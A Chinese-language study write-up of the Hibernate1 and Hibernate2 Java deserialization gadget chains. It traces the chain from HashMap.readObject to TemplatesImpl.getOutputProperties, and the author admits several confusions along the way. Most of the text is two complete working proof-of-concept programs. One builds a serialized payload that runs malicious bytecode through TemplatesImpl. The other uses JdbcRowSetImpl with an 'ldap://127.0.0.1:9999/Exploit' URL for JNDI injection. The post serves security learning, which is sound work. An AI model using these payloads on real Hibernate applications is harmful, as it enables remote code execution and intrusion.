Hibernate利用链
Hibernate利用链
Hibernate 1
给出调用栈
HashMap.readObject()
TypedValue.hashCode()
ValueHolder.getValue()
ValueHolder.DeferredInitializer().initialize()
ComponentType.getHashCode()
PojoComponentTuplizer.getPropertyValue()
AbstractComponentTuplizer.getPropertyValue()
BasicPropertyAccessor$BasicGetter.get()/GetterMethodImpl.get()
TemplatesImpl.getOutputProperties()这里分几个部分,思路清晰一点
1
漏洞点在

能够反射执行方法
那我们看看这个method如何控制

在getGetterOrNull中首先调用getterMethod获取getter方法,然后在最后调用构造方法return一个BasicGetter对象,method在构造方法中被赋值

2
因此现在的思路就是哪里会调用get方法,经过查找发现在抽象类org.hibernate.tuple.component.AbstractComponentTuplizer中定义了成员变量getters,并且通过getPropertyValue()方法调用get方法,而getPropertyValues()又调用了getPropertyValue()

这里就继续找谁调用了getPropertyValues,并且这里AbstractComponentTuplizer由于是抽象类,我们先找他的实现类

这里选择PojoComponentTuplizer,它会调用父类的getPropertyValues

继续找谁调用了PojoComponentTuplizer的getPropertyValues

找到ComponentType

然后参考的文章说该类的getHashCode会调用getPropertyValue

疑惑
两个参考文章都说到这里,但是我们可以发现上面两张图调用的函数很明显不一样
一个是

一个是

我根据poc调试后发现走的是getPropertyValue,并且下一步直接走到了

所以我的想法是componentTuplizer设置为PojoComponentTuplizer后,由于没有getPropertyValue方法,于是调用了父类的getPropertyValue,即AbstractComponentTuplizer
感觉这个解释其实也有问题,但是我的能力只能想到这些
3
继续找如何接上getHashCode
找到在TypedValue类中的initTransients是调用getHashcode了的

TypedValue 初始化时,除了赋值 type、value 操作外,还调用了 initTransients 方法对 hashcode 属性进行了初始化

初始化时新创建了一个 ValueHolder 对象,并为其赋予了一个新的 DeferredInitializer 对象并重写了 initialize() 方法
我们首先发现 TypedValue 的 hashCode() 方法调用了成员变量 hashcode.getValue() 方法,这个方法又会调用 DeferredInitializer 的 initialize() 方法,就是之前我们初始化的那个


这里也有点不理解是如何调用进去的
4
总而言之调用到hashCode函数即可,那很明显就是HashMap作入口
poc
即使知道了大概的调用顺序,想要写出poc也不是容易的事
package hibernate;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
/**
* Hello world!
*
*/
public class Hibernate1 {
public static String fileName = "Hibernate1.bin";
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static void main(String[] args) throws Exception {
Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");
// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
setFieldValue(tmpl, "_bytecodes", new byte[][]{bytecodes});
setFieldValue(tmpl, "_name", "z");
setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());
Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");
Object getter;
try {
// 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?>getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
constructor.setAccessible(true);
getter = constructor.newInstance(null, null, method);
} catch (Exception ignored) {
// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(tmpl.getClass(), method, "outputProperties");
}
// 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);
// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);
// 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
Object type = createWithoutConstructor(componentTypeClass);
// 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
setFieldValue(type,"componentTuplizer",tuplizer);
setFieldValue(type,"propertySpan",1);
setFieldValue(type,"propertyTypes",new Type[]{(Type) type});
// 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
TypedValue typedValue = new TypedValue((Type) type, null);
// 创建反序列化用 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(typedValue, "su18");
// put 到 hashmap 之后再反射写入,防止 put 时触发
setFieldValue(typedValue,"value",tmpl);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}细节

GetterMethodImpl
在 Hibernate 5.x 里,实现了 org.hibernate.property.access.spi.GetterMethodImpl 类,这个类能够替代 BasicPropertyAccessor$BasicGetter.get() 来调用 getter 方法。
Hibernate 2
。。。。其实就是把Templates改为JdbcRowSetImpl
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassPool;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
/**
* Hello world!
*
*/
public class Hibernate2 {
public static String fileName = "Hibernate1.bin";
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static void main(String[] args) throws Exception {
Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");
// 生成JdbcRowxxx
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://127.0.0.1:9999/Exploit");
Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");
Object getter;
try {
// 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
constructor.setAccessible(true);
getter = constructor.newInstance(null, null, method);
} catch (Exception ignored) {
// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(rs.getClass(), method, "databaseMetaData");
}
// 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);
// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);
// 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
Object type = createWithoutConstructor(componentTypeClass);
// 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
setFieldValue(type,"componentTuplizer",tuplizer);
setFieldValue(type,"propertySpan",1);
setFieldValue(type,"propertyTypes",new Type[]{(Type) type});
// 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
TypedValue typedValue = new TypedValue((Type) type, null);
// 创建反序列化用 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(typedValue, "su18");
// put 到 hashmap 之后再反射写入,防止 put 时触发
setFieldValue(typedValue,"value",rs);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}finally
其实还是有好多不理解的地方,唉。。。